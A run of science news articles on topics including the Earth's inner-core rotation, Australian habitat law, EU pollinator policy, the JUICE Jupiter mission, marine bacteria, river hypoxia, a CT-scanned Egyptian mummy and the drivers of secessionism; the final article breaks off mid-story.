Roughly 5,000 kilometers (3,100 miles) below the surface we live on, this "planet within the planet" can spin independently because it floats in the liquid metal outer core.

Exactly how the inner core rotates has been a matter of debate between scientistsand the latest research is expected to prove controversial.

What little is known about the inner core comes from measuring the tiny differences in seismic wavescreated by earthquakes or sometimes nuclear explosionsas they pass through the middle of the Earth.

Seeking to track the inner core's movements, new research published in the journal Nature Geoscience analyzed seismic waves from repeating earthquakes over the last six decades.

"We believe the inner core rotates, relative to the Earth's surface, back and forth, like a swing," the study's authors, Xiaodong Song and Yi Yang of China's Peking University, told AFP.

"One cycle of the swing is about seven decades," the authors said.

The inner core started rotating slightly faster than the rest of the planet in the early 1970s, the study said.

But it had been slowing down before coming in sync with Earth's rotation around 2009, it added.

There has been a "negative trend" since, the study said, meaning the inner core is now rotating slower than the surface.

The researchers predicted the next change would occur in the mid-2040s.

They said this rotation timeline roughly lines up with changes in what is called the "length of day"small variations in the exact time it takes Earth to rotate on its axis.

Stuck in the middle

So far there is little to indicate that what the inner core does has much effect on surface dwellers.

But the researchers said they believed there were physical links between all Earth's layers, from the inner core to the surface.

"We hope our study can motivate some researchers to build and test models which treat the whole Earth as an integrated dynamic system," they said.

Experts not involved in the study expressed caution about its findings, pointing to several other theories and warning that many mysteries remain about the center of the Earth.

"This is a very careful study by excellent scientists putting in a lot of data," said John Vidale, a seismologist at the University of Southern California.

"(But) none of the models explain all the data very well in my opinion," he added.

Vidale published research last year suggesting that the inner core oscillates far more quickly, swinging around every six years or so.

His work was based on seismic waves from two nuclear explosions in the late 1960s and early 1970s.

That timeframe is around the point when Monday's research says the inner core was last in sync with Earth's rotationwhich Vidale called "kind of a coincidence".

Geophysicists 'divided'

Another theorywhich Vidale said has some good evidence supporting itis that the inner core only moved significantly between 2001 to 2013 and has stayed put since.

Hrvoje Tkalcic, a geophysicist at the Australian National University, has published research suggesting that the inner core's cycle is every 20 to 30 years, rather than the 70 proposed in the latest study.

"These mathematical models are most likely all incorrect because they explain the observed data but are not required by the data," Tkalcic said.

"Therefore, the geophysical community will be divided about this finding and the topic will remain controversial."

He compared seismologists to doctors "who study the internal organs of patients' bodies using imperfect or limited equipment".

Lacking something like a CT scan, "our image of the inner Earth is still blurry", he said, predicting more surprises ahead.

That could include more about a theory that the inner core might have yet another iron ball inside itlike a Russian doll.

"Something's happening and I think we're gonna figure it out," Vidale said. "But it may take a decade."

More information: Yi Yang et al, Multidecadal variation of the Earth's inner-core rotation, Nature Geoscience (2023). DOI: 10.1038/s41561-022-01112-z Rotation of the Earth's inner core changes over decades and has come to near-halt, Nature Geoscience (2023). DOI: 10.1038/s41561-022-01113-y , www.nature.com/articles/s41561-022-01113-y Correction note (January 25, 2023): Corrects throughout story dated January 23 to say that core's rotation has slowed compared to Earth's surface, not changed direction. Journal information: Nature Geoscience

 2023 AFP
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Credit: Unsplash/CC0 Public Domain

Federal environmental laws are failing to mitigate against Australia's extinction crisis, according to University of Queensland research.

UQ Ph.D. candidate Natalya Maitz led a collaborative project which analyzed potential habitat loss in Queensland and New South Wales and found the Environment Protection and Biodiversity Conservation 1999 (EPBC) Act is not protecting threatened species.

"The system designed to classify development projects according to their environmental impact is more or less worthless," Ms Maitz said.

"There's no statistically significant difference between the amount of threatened habitat destroyed under projects deemed 'significant' or 'not significant' by the national biodiversity regulator."

Under the EPBC Act, individuals or organizations looking to commence projects with a potentially 'significant impact' on protected species must seek further federal review and approval.

Developments deemed unlikely to have a significant impact don't require further commonwealth approval.

"But as the law is currently applied, significant impact projects are clearing just as much species habitat as projects considered low risk," Ms Maitz said.

"If the legislation were effectively protecting threatened habitats, we would expect less environmentally sensitive habitat cleared under the projects classified as unlikely to have a big impact."

The research examined vegetation cleared for projects in areas which provided habitat for threatened species, migratory species and threatened ecological communities in Queensland and New South Walesa global deforestation hotspot.

Co-author, Dr. Martin Taylor, said that the regulator's 'significant' classification appeared to have no consistent, quantitative basis in decision-making by the regulator.

"Neither the Act itself, nor the regulator, have been able to provide clear, scientifically robust thresholds for what constitutes a significant impact, such as x hectares of habitat for species y destroyed," Dr. Taylor said.

"Numerous species have lost a majority of their referred habitat to projects deemed non-significant.

"For example, the tiger quoll lost 82 percent of its total referred habitat to projects considered unlikely to have a significant impact, while the gray-headed flying-fox lost 72 percent.

"These species are well on their way to extinction, and the government will not achieve its zero extinctions goal unless these threats are stopped."

Dr. Taylor said the research highlights what appears to be inconsistencies in the referral decision-making process, a concern raised in the 2020 Independent Review of the EPBC Act by Graeme Samuel.

"These findings emphasize the importance of considering cumulative impacts and the need to develop scientifically robust thresholds that are applied rigorously and consistentlyfactors that need to be considered when drafting the upcoming reforms in order to give Australia's irreplaceable biodiversity a fighting chance," Dr. Taylor said.

The Australian Government announced that major reforms will be made to the legislation.

The research is published in Conservation Science and Practice.

More information: Natalya M. Maitz et al, Assessing the impact of referred actions on protected matters under Australia's national environmental legislation, Conservation Science and Practice (2022). DOI: 10.1111/csp2.12860
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The EU estimates that pollinators contribute around five billion euros ($5.5 billion) a year to the bloc's food production.

The EU on Tuesday announced proposals to try to reverse an "alarming decline" in the number of beesand other insects that pollinate the bloc's cropsincluding by rewarding organic farming.

The European Commission said a review of a 2018 EU Pollinators Initiative showed there were gaps, and "significant challenges" needed to be addressed with revised measures.

The proposal calls for promoting farmingorganic or otherwisethat protects pollinating insects, cutting back on pesticides, better monitoring of pollinator populations, and better conservation of habitats including in urban areas.

At stake is much of the European Union's agricultural output.

The commission estimates that pollinatorsmostly bees, but also hoverflies, moths, and some beetles and other insectscontribute around five billion euros ($5.5 billion) a year to the bloc's food production.

Yet intensive farming practices, pesticides, pollution, changed land-use, other introduced species and climate change have all taken a serious toll on their populations.

"Pollinating insects have declined dramatically in diversity and abundance in the last decades, with many of them being threatened with extinction," the commission said in a statement.

Its proposal, made to the European Parliament and the 27 EU member states, looks to reverse pollinator decline by the end of this decade.

It focuses on wild populations of bees and other pollinators as the EU has other tools aimed at supporting honeybee farms.

It also is designed to work alongside the EU's farm subsidy scheme, called the Common Agricultural Policy, by rewarding farmers who implement sustainable methods.

The EU's environment commissioner, Virginijus Sinkevicius, said that "in the case of pollinators, these small insects will define the future of nature and long-term food security".

He said he hoped the EU's steps towards saving them "can inspire similar action in the entire world".

 2023 AFP
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'The beast' is unleashed: Europe's JUICE spacecraft was unveiled in France ahead of its planned launch in April.

Europe's JUICE spacecraft is all ready to embark on an eight-year odyssey through the Solar System to find out whether the oceans hidden under the surface of Jupiter's icy moons have the potential to host extraterrestrial life.

For now, the Jupiter Icy Moons Explorer (JUICE) is in a white room of its manufacturer Airbus in the southwestern French city of Toulouse. But its days on this planet are numbered.

Soon the spacecraft will be put in a container, wings carefully folded away, ahead of traveling to Europe's spaceport in Kourou, French Guiana off the coast of South America in early February.

From there, one of Europe's most ambitious space missions ever is scheduled to launch in April.

The scientists and engineers in Toulouse who have spent years working on the project are clearly emotional at the thought of saying goodbye to what they call "the beast".

They finally unveiled the six-ton spacecraft to journalists on Fridayshowing off its 10 scientific instruments, antenna 2.5 meters (eight feet) in diameter for communicating with Earth, and vast array of solar panels which still need to be tested one last time.

As a parting gift, a commemorative plaque was mounted on the back of the spacecraft in tribute to Italian astronomer Galileo Galilei, who was the first to spot Jupiter and its largest moons in 1610.

Volcanic Io and its icy siblings Europa, Ganymede and Callisto were "the first moons discovered outside of our own," said Cyril Cavel, the Airbus project manager for JUICE.

The scientists and engineers who have spent years working on JUICE are emotional at saying goodbye.

Cavel carried a copy of Galileo's "Sidereus Nuncius", the first treatise based on observations made through a telescope.

More than 400 years later, JUICE will give a far clearer image of Europa, Ganymede and Callisto, before becoming the first spacecraft to orbit around one of Jupiter's moons.

Earth is 'like a catapult'

It will be the first European space mission that ventures into the outer solar system, which begins beyond Mars.

Jupiter is more than 600 million kilometers (370 million miles) from Earth and JUICE will take a circuitous path before its scheduled arrival in July 2031.

The spacecraft will travel a total of two billion kilometers, using the gravity of Earththen Venusfor a boost along the way.

"It's like a catapult that gives us momentum to Jupiter," said Nicolas Altobelli, JUICE project scientist at the European Space Agency (ESA).

The extra travel time will allow JUICE's solar panelswhich cover an area of 85 square meters, the largest ever built for an interplanetary spacecraftto soak up as much power as possible.

A tribute on the back of JUICE to Italian astronomer Galileo Galilei, the first to spot Jupiter and its largest moons in 1670.

It will need that power once it crosses the "frost line" between Mars and Jupiter, when temperatures could drop to minus 220 degrees Celsius.

Then JUICE will need to carefully hit the brakes so it can slip into Jupiter's orbit. For that part, it's on its own.

"We will follow the maneuver from Earth without being able to do anythingif it fails, the mission is lost," Cavel said.

From Jupiter's orbit, the satellite will make 35 flybys of Europa, Ganymede and Callisto. Then it will enter the orbit of Ganymede, the largest of the three, before eventually falling to its surface.

Not looking for 'big fish'

JUICE's ice-penetrating cameras, sensors, spectrometers and radars will probe the moons to determine whether they could be habitable to past or present life.

It will not be looking at the frozen surface of the moons but 10-15 kilometers below, where vast liquid oceans flow.

This extreme environment could be home to bacteria and single-celled organisms.

Space probe JUICE, to explore Jupiter and its icy moons.

But the mission will not be able to detect "big fish, or creatures," ESA director-general Josef Aschbacher said.

Instead it will look for conditions capable of supporting life, including liquid water and a source of energy, which could come from the tidal effect Jupiter's gravity has on its moons.

Measuring magnetic signals could determine whether water on Ganymede is in contact with its rocky core, which would allow chemical elements necessary for life "to be dissolved into the water," Altobelli said.

NASA's Clipper mission is planned to launch in 2024 on its own quest to study Europa.

If one of the moons prove to be a particularly good candidate to host life, the "logical next step" would be to send a spacecraft to land on the surface, Cavel said.

He added that he was moved at the thought that JUICE "will end its life on the surface of Ganymede".

 2023 AFP
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Credit: Pixabay/CC0 Public Domain

The European Commission will present a strategy to bolster the EU's security and defence efforts in space in March, Internal Market Commissioner Thierry Breton said Tuesday, with Russia's war in Ukraine raising tensions in space.

Moscow's invasion last year led to Europe and Russia calling off their previously close cooperation in space, delaying a range of missions and affecting European efforts to launch satellites.

"In the current geopolitical context, we need to enhance the Union's strategic posture to be able to defend our interests, protect our space systems and services and become a more assertive space power," Breton told the opening of the European Space Conference in Brussels.

EU foreign policy chief Josep Borrell called Russia's invasion of Ukraine a "wake-up call", saying that the bloc needs to examine "how space assets and services are crucial" to common European action.

A little less than 10 percent of the roughly 5,500 satellites currently orbiting the globe are run by militaries, Borrell said.

"But many others are dual use and they provide critical information to support our security and defence," he added.

Breton said Europe's space strategy would be based on four pillars.

The first aims to strengthen "the resilience and security framework for EU national and commercial space systems," while the second seeks to reinforce the bloc's ability to respond to threats, he said.

The third pillar is to increase the "use of space for security and defence operations," through programmes that observe the Earth and monitor space traffic, as well as increasing cooperation with partners such as NATO, he added.

The final pillar will be to implement an "EU space law" to establish "common rules on safety, security and sustainability of our systems," he said.

Ten of the EU's 27 member states have already started to regulate their space operations, Breton said.

He warned that the EU risked having "diverging national rules" that could have an impact on competitiveness, industry and security.

A new stock index bringing together European space-based companies was also launched on Tuesday, the ESA said in a statement.

The European space stock index "enables investors and people working in finance to monitor the financial performance of European space companies," said the ESA, which developed the project with the European Commission and exchange operator Euronext.

 2023 AFP
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Transcriptional profiling of Sulfitobacter D7 in response to dimethylsulfoniopropionate (DMSP) and additional Emiliania huxleyi infochemicals reveals the signaling role of DMSP. (a) Time course of E. huxleyi CCMP379 and bacterial abundance (full and dashed lines, left and right axes, respectively) in algal mono-cultures or during co-culturing with Sulfitobacter D7. Top panel: Co-cultures display two phases with distinct bacterial lifestyles: coexistence and pathogenicity. Bottom panel: DMSP was added at day 0 to a final concentration of 100 M. Results represent average  SD (n=3). Figure 1a has been adapted from Figure 5 of Barak-Gavish et al., 2018. (b) Design of Sulfitobacter D7 transcriptome experiment aiming to explore gene expression profiles in response to E. huxleyi-derived media and in response to DMSP. Growth media consisted of conditioned media (CM) derived from E. huxleyi at exponential growth or stationary phase (Exp-CM and Stat-CM, respectively), and an additional treatment in which 100 M of DMSP was added (Exp-CM + DMSP). These media differentially induce the coexistence and pathogenicity lifestyles of Sulfitobacter D7. In order to identify DMSP-responsive genes we inoculated Sulfitobacter D7 in defined minimal media (MM), lacking E. huxleyi-derived exudates, without and with 100 M DMSP (MM and MM + DMSP, respectively). Sulfitobacter D7 was inoculated into each media and harvested for RNA profiling after 24 hr of growth. Initial conditions of the media and bacterial growth are elaborated in Table 1. (c) Principle component analysis of Sulfitobacter D7 detected genes in all treatments (2588 genes). Triplicates of each treatment are shown. (d) Heatmap of gene expression of all differentially expressed genes in the comparisons Exp-CM + DMSP vs. Exp-CM, Stat-CM vs. Exp-CM, and MM + DMSP vs. MM (1179 genes). Clusters were determined based on k-means analysis. Significant functional enrichment in each cluster, based on Kyoto encyclopedia of genes and genomes (KEGG) pathways, is denoted. Each row represents one gene, and the color intensity corresponds to the standardized expression across all samples (triplicates of each treatment are shown). Expression values are scaled by row. Genes in cluster 1 are ordered based on the mean expression values in the MM + DMSP treatment. Genes in cluster 24 are ordered based on the mean expression values in the Exp-CM treatment. Credit: eLife (2023). DOI: 10.7554/eLife.84400

Scientists have detailed a lifestyle switch that occurs in marine bacteria, in which they change from coexisting with algae hosts in a mutually beneficial interaction to suddenly killing them. The results are published today in eLife.

Details of this lifestyle switch could provide new insights into the regulation of algal bloom dynamics and its impact on large-scale biogeochemical processes in marine environments.

Single-celled algae, known as phytoplankton, form oceanic blooms that are responsible for around half of the photosynthesis that occurs on Earth, and form the basis of marine food webs. Therefore, understanding the factors controlling phytoplankton growth and death is crucial to maintaining a healthy marine ecosystem. Marine bacteria from the Roseobacter group are known to pair up and coexist with phytoplankton in a mutually beneficial interaction. The phytoplankton provide the Roseobacter with organic matter useful for bacterial growth, such as sugar and amino acids, and the Roseobacter in return provides B-vitamins and growth-promoting factors.

However, recent studies have revealed that Roseobacters undergo a lifestyle switch from coexistence to pathogenicity, a state in which they kill their phytoplankton hosts. A chemical compound called DMSP is produced by the algae and is hypothesized to play a role in this switch.

"We have previously identified that the Roseobacter Sulfitobacter D7 displays a lifestyle switch when interacting with the phytoplankter Emiliania huxleyi," states first author Noa Barak-Gavish, a Ph.D. graduate in the Department of Plant and Environmental Sciences, Weizmann Institute of Science, Israel. "However, our knowledge about the factors that determine this switch was still limited."

To characterize this lifestyle switch, Barak-Gavish and colleagues performed a transcriptomics experiment, allowing them to compare the genes that are differentially expressed by Sulfitobacter D7 in coexistence or pathogenicity stages.

Their experimental setup demonstrated that Sulfitobacter D7 grown in a pathogenicity-inducing medium have a higher expression of transporters for metabolites such as amino acids and carbohydrates than those grown in a coexistence medium. These transporters serve to maximize the uptake of metabolites released from dying Emiliania huxleyi (E. huxleyi) . Furthermore, in pathogenic Sulfitobacter D7, the team observed an increased activation of flagellar genes that are responsible for the movement of the bacteria. These two factors allow Sulfitobacter D7 to utilize an "eat-and-run" strategy, where they beat competitors to the material released upon E. huxleyi cell death and swim away in search of another suitable host.

The team confirmed the role of DMSP in bringing about the switch to this killer behavior by mapping the genes activated in Sulfitobacter D7 in response to the presence of DMSP and other algae-derived compounds. However, when only DMSP was present, the lifestyle switch did not occur. This implies that although DMSP mediates the lifestyle switch, it is also dependent on the presence of other E. huxleyi-derived infochemicalscompounds that are produced and used by organisms to communicate.

DMSP is an infochemical produced by many phytoplankton, so it is likely that the other required infochemicals allow the bacteria to recognize a specific phytoplankton host. In natural environments, where many different microbial species exist together, this specificity would ensure that bacteria only invests in altering gene expression and its metabolism when the correct algal partner is present.

The study also uncovers the role of algae-derived benzoate in Sulfitobacter D7 and E. huxleyi interactions. Even in high concentrations of DMSP, benzoate functions to maintain the coexistence lifestyle. Benzoate is an efficient growth factor and is provided by E. huxleyi to Sulfitobacter D7 during coexistence. The authors propose that as long as Sulfitobacter D7 benefits from coexistence by receiving materials for growth, it will maintain the mutualistic interaction. When less benzoate and other growth substrates are provided, the bacteria undergoes the lifestyle switch and kills its phytoplankton host, swallowing up any remaining useful materials.

The exact mechanism of Sulfitobacter D7 pathogenicity against E. huxleyi remains to be discovered, and the authors call for further work in this area. The cellular machinery Type 2 secretion systema complex that many bacteria use to move materials across their cell membraneis more prevalent in Sulfitobacter D7 compared to other Roseobacters, hinting at a unique method of pathogenicity that requires further investigation.

"Our work provides a contextual framework for the switch from coexistence to pathogenicity in Roseobacter-phytoplankton interactions," concludes senior author Assaf Vardi, a professor in the Department of Plant and Environmental Sciences, Weizmann Institute of Science. "These interactions are an underappreciated component in the regulation of algal bloom dynamics and further study in this area could provide insights into their impact on the fate of carbon and sulfur in the marine environment."

More information: Noa Barak-Gavish et al, Bacterial lifestyle switch in response to algal metabolites, eLife (2023). DOI: 10.7554/eLife.84400 Journal information: eLife

Provided by eLife
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High-frequency sensors deployed in streams, such as those being installed by Joanna Blaszczak in a stream in Montana, can provide continuous data that captures night-time hypoxic conditions. Credit: Malgosia Blaszczak.

New research led by University of Nevada, Reno Assistant Professor Joanna Blaszczak shows hypoxia in rivers and streams is generally much more prevalent across the globe than previously thought. Hypoxia is low or depleted oxygen levels in surface waters that can be harmful to aquatic species and can in some cases increase production of harmful greenhouse gases from rivers.

The research, published recently in the journal Limnology and Oceanography Letters, compiles over 118 million readings of dissolved oxygen and temperature taken from over 125,000 locations in rivers across six continents and 93 countries and spanning over 100 years, from 1900 to 2018. Hypoxia, defined in this study as dissolved oxygen concentrations below 2 milligrams per liter, was detected in rivers and streams in 53 countries, with 12.6% of all locations exhibiting at least one hypoxic measurement.

"Hypoxia in coastal waters and lakes is widely recognized as a detrimental environmental issue, yet we have lacked a comparable understanding of hypoxia in rivers," Blaszczak, with the University's College of Agriculture, Biotechnology & Natural Resources, said. "While 12.6% might not seem like a huge percentage, previously it was generally thought that occurrences of hypoxia in rivers and streams were exceedingly rare. Having shown presence of hypoxia in one of every eight river locations with data is definitely a game changer in terms of how we need to think of and give attention to the issue of hypoxia in rivers and streams."

Blaszczak says that advances in measuring hypoxia over the past 15 years or so using field-deployable dissolved oxygen sensor technology that allows for constant monitoring, such as every hour, has given researchers the tools to get a better handle on the presence of hypoxia. Previously, readings were taken manually using a handheld probe or by collecting water samples mostly during the day, when oxygen levels are naturally higher, due to photosynthesis occurring during daylight hours.

"Photosynthesis by algae produces oxygen that is released into the water column," Blaszczak explains. "So, you're not getting a true picture of hypoxia occurrence if you only measure during the day. Hypoxic conditions are much more likely to develop in the early morning hours, after the lack of photosynthesis all night. The newer technology allows for us to capture that data."

In fact, the research showed a dramatic difference in results between using the older methods and the newer technology, due to the times of day measurements are taken.

"We find that if we only sampled during the day every day, between 8 a.m. and 5 p.m., it would under detect the number of river locations where we observe hypoxia by about 25%," she said.

Blaszczak says that much of the data from the study is more recent, and taken using the newer technology.

"There wasn't a lot of testing going on, especially before the 1950s," she said. "Even all the way up to around 2005 or so, the data at a global scale is pretty scarce."

Research shows natural and human influences

As expected, the data showed hypoxia in rivers was most present in warmer, smaller and lower-gradient, stiller waters, where oxygen isn't being "stirred" into the water from turbulence. Blaszczak says the research found these conditions occur most often in rivers draining naturally occurring wetlands, as well as in rivers draining some urban areas, where human actions have created hypoxic conditions.

"We as people managing waters often influence these conditionsby extracting water, building dams and increasing the amount of organic matter released into rivers, for example," she says. "We can set up these conditions of very low flows. Rivers surrounded by wetlands and urban areas had about the same probability of hypoxia occurrence. That shows that while it can occur naturally, we also can create these conditions that are conducive to hypoxia."

Blaszczak says that hypoxia often isn't recognized until it's too late.

"You'll see a report in the media of a fish kill that was caused by hypoxiafrom very low flows from dams, a release of something into a river, or something else we can control," she says. "If we can put out more sensors to monitor conditions, we can get early warning signals, and take action to mediate the problem, such as modifying the flow in some way."

Small, low-gradient urban streams, such as the one pictured here in North Carolina, are some of the most susceptible to hypoxia. Credit: Joanna Blaszczak.

Blaszczak says newer sensor technology that provides constant monitoring is also important because the duration of hypoxic conditions affects the harm it might induce.

"Fish do have, in some cases, avoidance strategies. So, if it is only for a couple of hours, they can try to manage themselves, by staying up closer to the surface, for example," she says. "But if it is more extended, then they have a harder time. And, there are other factors. The size of the organism may influence its ability to survive, and some organisms are not as mobile, so they can't adjust to survive a more prolonged hypoxic event."

Besides the harm hypoxia can cause to aquatic life, it can also stimulate production of the greenhouse gases methane and nitrous oxide.

"There's just nothing good about hypoxia in rivers or other bodies of water," Blaszczak says. "We can't eliminate it completely, but we can certainly do a better job of monitoring it and take actions to prevent it, rather than to stimulate it."

Taking a global view

On a more positive note, Blaszczak says that looking at data from 1950 to 2018, the research showed that, globally, there doesn't seem to be an overall increase in hypoxic conditions in rivers. However, in certain locations, there are increases. And, in some locations, the presence is extreme, she says. The researchers put together a worldwide map that is featured in the research article, which color codes the number of hypoxia occurrences they found by region, with blue being rare occurrences and red being the highest presence of hypoxia.

"You'll see that Florida is completely red, off the charts," Blaszczak noted.

Much of the U.S. is in the yellow, or midrange. Blaszczak says that there is much more data available from the U.S. overall than other countries. She and a team of researchers compiled data from government-supported work and other published data to create the data set that spans all continents except Antarctica, but is dominated by data from North America. Each location had to have a geographic coordinate, at least one measurement of dissolved oxygen, a corresponding water temperature and a date-time stamp. Blaszczak then analyzed the data, as part of her research for her College's Department of Natural Resources & Environmental Science and Experiment Station.

She embarked on leading the study after attending a workshop in September 2018 held in Switzerland and convened by Jim Heffernan and Tom Battin from Duke University. The workshop aimed to advance the global understanding of the dynamics of hypoxia in rivers and streams and was supported by the Swiss National Science Foundation and the U.S. National Science Foundation.

Moving forward, Blaszczak says more monitoring with newer technology is key to mitigating harmful effects of hypoxia in rivers.

"We need to further develop our capacity to identify when and where rivers are vulnerable to the development of hypoxic conditions, so that we can guide river management in the face of continuing climate and land-use change. Supporting ongoing monitoring and expanding monitoring to regions where data is sparse is essential," she said.

Blaszczak is grateful for researchers and governments that provided data used in the study and for the co-authors of the study, including Lauren E. Koenig, Francine H. Mejia, Lluis Gomez-Gener, Christopher L. Dutton, Alice M. Carter, Nancy B. Grimm, Judson W. Harvey, Ashley M. Helton and Matthew J. Cohen.

More information: Joanna R. Blaszczak et al, Extent, patterns, and drivers of hypoxia in the world's streams and rivers, Limnology and Oceanography Letters (2022). DOI: 10.1002/lol2.10297 Journal information: Limnology and Oceanography Letters
Photo exhibition held on China's space station

Xinhua) 10:13, January 24, 2023

BEIJING, Jan. 23 (Xinhua) -- A special exhibition of space-related photographs is being held on China's Tiangong space station, orbiting about 400 km above Earth, as a New Year gift for the Spring Festival.

The Shenzhou-15 astronauts Fei Junlong, Deng Qingming and Zhang Lu showcased 21 photographs of the orbiting Chinese space station captured from Earth, featuring various splendid moments and unique angles.

The photos were among those collected from various sources in a project called "Global Lens on Tiangong" that began in November 2021. The project has attracted widespread attention from professional photographers, astronomy enthusiasts, space professionals and youngsters, producing more than 10,000 photos showing the Chinese space station in action.

The photos displayed in the Tiangong space station were launched together with the Shenzhou-15 mission on Nov. 29 last year.

The Shenzhou-15 mission is aimed at wrapping up the final stage of space station construction and starting the first stage of its application and development.

(Web editor: Peng Yukai, Liu Ning)
JERUSALEM, Jan. 24 (Xinhua) -- Israel's first ground station for monitoring satellites was inaugurated at Tel Aviv University (TAU), the Israel Space Agency (ISA) said on Tuesday.

Through the new station, TAU space scientists plan to create optical and quantum communications with satellites in space, the ISA said in a statement.

The station will be used by worldwide governmental and commercial entities for checking the status of their satellites in orbit, it added.

It includes a satellite observatory dome with a diameter of 4.25 meters, a tracking system, a primary high-speed camera and secondary cameras, laser equipment, single-photon detectors, and a tracking robot that enables the simultaneous carrying of two telescopes.

In order to achieve quantum communication with space, it is necessary to first achieve optical tracking of a satellite in orbit, establish optical communication with a satellite, and create quantum communication with drones and another ground station.

Quantum communication uses quantum entangled photons to transmit a key that enables information to be completely encrypted.

Any attempt to copy the information will destroy the original signal and reveal the hacking attempt to both communicating parties, the ISA explained. 
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The mummy was garlanded with ferns and wore a gilded face mask. Credit: SN Saleem, SA Seddik, M el-Halwagy

The ancient Egyptians believed that when we died, our spiritual body sought out an afterlife similar to this world. But entry into this afterlife wasn't guaranteed; it first required a perilous journey through the underworld, followed by an individual last judgment. For this reason, relatives and embalmers did everything they could to ensure that their loved one might reach a happy destination.

Scientists from Egypt have now used computerized tomography (CT) to "digitally unwrap" the intact, never-opened mummy of a 2,300-year-old teenage boy of high socioeconomic status. They discovered a "Golden boy," an undisturbed showcase of ancient Egyptian beliefs about life after death. For example, he was sent on his way with no fewer than 49 amulets of 21 types to promote his bodily resurrection. He wore sandals and was garlanded with ferns, rich in ritual meaning.

These results provide a unique insight into mummification procedures and beliefs about the importance of grave ornaments during the Ptolemaic period. They are published in Frontiers in Medicine.

"Here we show that this mummy's body was extensively decorated with 49 amulets, beautifully stylized in a unique arrangement of three columns between the folds of the wrappings and inside the mummy's body cavity. These include the Eye of Horus, the scarab, the akhet amulet of the horizon, the placenta, the Knot of Isis, and others. Many were made of gold, while some were made of semiprecious stones, fired clay, or faience. Their purpose was to protect the body and give it vitality in the afterlife," said Dr. Sahar Saleem, the study's first author and a professor at the Faculty of Medicine of Cairo University, Egypt.

The mummy digitally unwrapped in four stages. Credit: SN Saleem, SA Seddik, M el-Halwagy

Sandals to walk to the afterlife

The "Golden boy" mummy had been found in 1916 at a cemetery used between approximately 332 and 30 BCE in Nag el-Hassay in southern Egypt. It has been stored unexamined in the basement of the Egyptian Museum in Cairo until the present study.

The mummy was laid inside two coffins, an outer coffin with a Greek inscription and an inner wooden sarcophagus. Within, he wore a gilded head mask, a pectoral cartonnage that covered the front of the torso, and a pair of sandals. Apart from the heart, the viscera had been removed through an incision, while the brain had been removed through the nose and replaced with resin.

"The sandals were probably meant to enable the boy to walk out of the coffin. According to the ancient Egyptians' ritual Book of The Dead, the deceased had to wear white sandals to be pious and clean before reciting its verses," said Saleem.

Amulets were placed on or inside the mummy in three columns. Credit: SN Saleem, SA Seddik, M el-Halwagy

No wisdom teeth

The CT scans showed that the boy was 128 cm tall, not circumcised, and without any known cause of death other than natural causes. From the degree of bone fusion and the non-erupted wisdom teeth, the authors estimate that the boy was between 14 and 15 years old. His teeth were good, with no evidence of caries, tooth loss, or periodontal disease.

Ferns were garlanded around the mummy's outer surface. "Ancient Egyptians were fascinated by plants and flowers and believed they possessed sacred and symbolic effects. Bouquets of plants and flowers were placed beside the deceased at the time of burial: this was done, for example, with the mummies of the New Kingdom kings Ahmose, Amenhotep I, and Ramesses the Great. The deceased was also offered plants in each visit to the dead during feasts," said Saleem.

The amulets are a testament to a wide range of Egyptian beliefs. For example, a golden tongue leaf was placed inside the mouth to ensure the boy could speak in the afterlife, while a two-finger amulet was placed beside his penis to protect the embalming incision. An Isis Knot enlisted the power of Isis in the protection of the body, a right-angle amulet was meant to bring balance and leveling, and double falcon and ostrich plumes represented the duality of spiritual and material life. A golden scarab beetle was found placed inside the thoracic cavity, a copy of which was 3D-printed by the researchers.

The mummy's coffin. Credit: SN Saleem, SA Seddik, M el-Halwagy

The mummy's face on CT scans. Credit: SN Saleem, SA Seddik, M el-Halwagy

The mummy had excellent teeth. Arrows: the non-erupted wisdom teeth. Credit: SN Saleem, SA Seddik, M el-Halwagy

3D printed copy of the golden heart scarab, placed inside the thoracic cavity. Credit: SN Saleem, SA Seddik, M el-Halwagy

Scarab to silence the heart

"The heart scarab is mentioned in chapter 30 of the Book of the Dead: it was important in the afterlife during judging the deceased and weighing of the heart against the feather of the goddess Maat. The heart scarab silenced the heart on Judgment Day, so as not to bear witness against the deceased. It was placed inside the torso cavity during mummification to substitute for the heart if the body was ever deprived of this organ," explained Saleem.

Based on these exciting results, the management of the Egyptian Museum decided to move the mummy to the main exhibition hall under the nickname "Golden boy." In its new location, visitors can admire the mummy next to CT images and a 3D-printed version of the heart scarab amulet, to get as close as possible to the glories of ancient Egyptian civilization.

More information: Scanning and 3D-printing using Computed Tomography (CT) of the 'Golden boy' mummy, Frontiers in Medicine (2023). DOI: 10.3389/fmed.2022.1028377

Provided by Frontiers
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Increase in secessionist support when eliminating within-region identity differences. For each subnational region, Figure depicts the increase in support for secession if people were to ignore within-region identity differences in the case of independence. Credit: IS SECESSIONISM MOSTLY ABOUT INCOME OR IDENTITY? A GLOBAL ANALYSIS OF 3,003 SUBNATIONAL REGIONSNational Bureau of Economic Research (2023).

What most sparks a region's desire to seek independence from their countryincome or identity?

A new study from SMU (Southern Methodist University, Dallas) and UC3M (Universidad Carlos III de Madrid, Spain) found that the group people identify with tends to play a bigger factor in secession than differences in per capita income between regions.

Identity was shown to be a larger factor than income for many real-life examples of pro-independence movements in recent yearssuch as Tibet in China and Tigray and other Southern Nations in Ethiopia. Researchers looked at a total of 173 countries with 3,003 subnational regions, like Texas and California in the United States or Canadian provinces in Quebec and Ontario.

The mathematical model that SMU and UC3M created also would have correctly predicted that the Soviet Union was in danger of collapsing before its eventual demise in 1991 and which Soviet republics would have been the first to declare independence.

"What we found is striking: separatism would be alive and well even if there were no income differences between regions, whereas it would almost completely die out if everyone spoke the same language," said Klaus Desmet, Ruth and Kenneth Altshuler Centennial Interdisciplinary Professor of Economics at SMU and author of the study published by the National Bureau of Economic Research in Cambridge, Massachusetts. "From this we can conclude that the key driver of secessionist sentiment is identity, rather than income."

Desmet and economists Ignacio Ortuno-Ortin and Omer Ozak used their model to test if support for secession would grow stronger or weaker if there was no difference in the incomes of the people who lived there or no difference in their identity.

Across the globe, they found that support for secession would drop from an average of 7.5 percent of a region's population to 0.6 percent in the absence of identity differences. Yet eliminating income differences would do almost nothing in terms of weakening the desire for secessionism, the study shows.

Ortuno-Ortin is a professor of economics at UC3M. Ozak is an associate professor of economics at SMU and a research fellow at IZA.

The research team wanted to identify the major cause of secessionism because there are often questions of whether economic policies could potentially ease tensions.

